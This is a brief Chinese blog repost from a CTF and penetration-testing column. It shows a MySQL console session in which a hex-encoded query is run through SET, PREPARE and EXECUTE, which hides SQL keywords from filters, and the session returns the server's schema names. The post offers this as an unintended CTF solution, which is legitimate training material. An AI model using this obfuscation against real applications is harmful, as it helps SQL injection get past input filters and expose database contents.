mysql 多条执行 pre 预编译

最新推荐文章于 2025-06-17 22:38:04 发布

转载最新推荐文章于 2025-06-17 22:38:04 发布 · 496 阅读

渗透同时被 2 个专栏收录

59 篇文章

订阅专栏

CTF

20 篇文章

订阅专栏

本文通过一个具体的示例展示了如何使用 MySQL 的 PREPARE 和 EXECUTE 语句来执行 SQL 查询。具体步骤包括设置变量、准备语句、执行语句以及获取结果。此方法能够有效地构造和执行动态 SQL 语句。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

http://www.venenof.com/index.php/archives/240/

OK，it also have a Unintended Solution：
i find it in my friend&member'blog=>albertchang
he use set+PREPARE+EXECUTE:

mysql>  select group_concat(schema_name) from information_schema.schemata;
+---------------------------------------------------------+
| group_concat(schema_name)                               |
+---------------------------------------------------------+
| information_schema,mysql,performance_schema,test,veneno |
+---------------------------------------------------------+
1 row in set (0.01 sec)

mysql> set @b=0x7365742040613d2873656c6563742067726f75705f636f6e63617428736368656d615f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746129;
Query OK, 0 rows affected (0.01 sec)

mysql> prepare x from @b;
Query OK, 0 rows affected (0.01 sec)
Statement prepared

mysql> execute x;
Query OK, 0 rows affected (0.00 sec)

mysql> select @a;
+---------------------------------------------------------+
| @a                                                      |
+---------------------------------------------------------+
| information_schema,mysql,performance_schema,test,veneno |
+---------------------------------------------------------+
1 row in set (0.01 sec)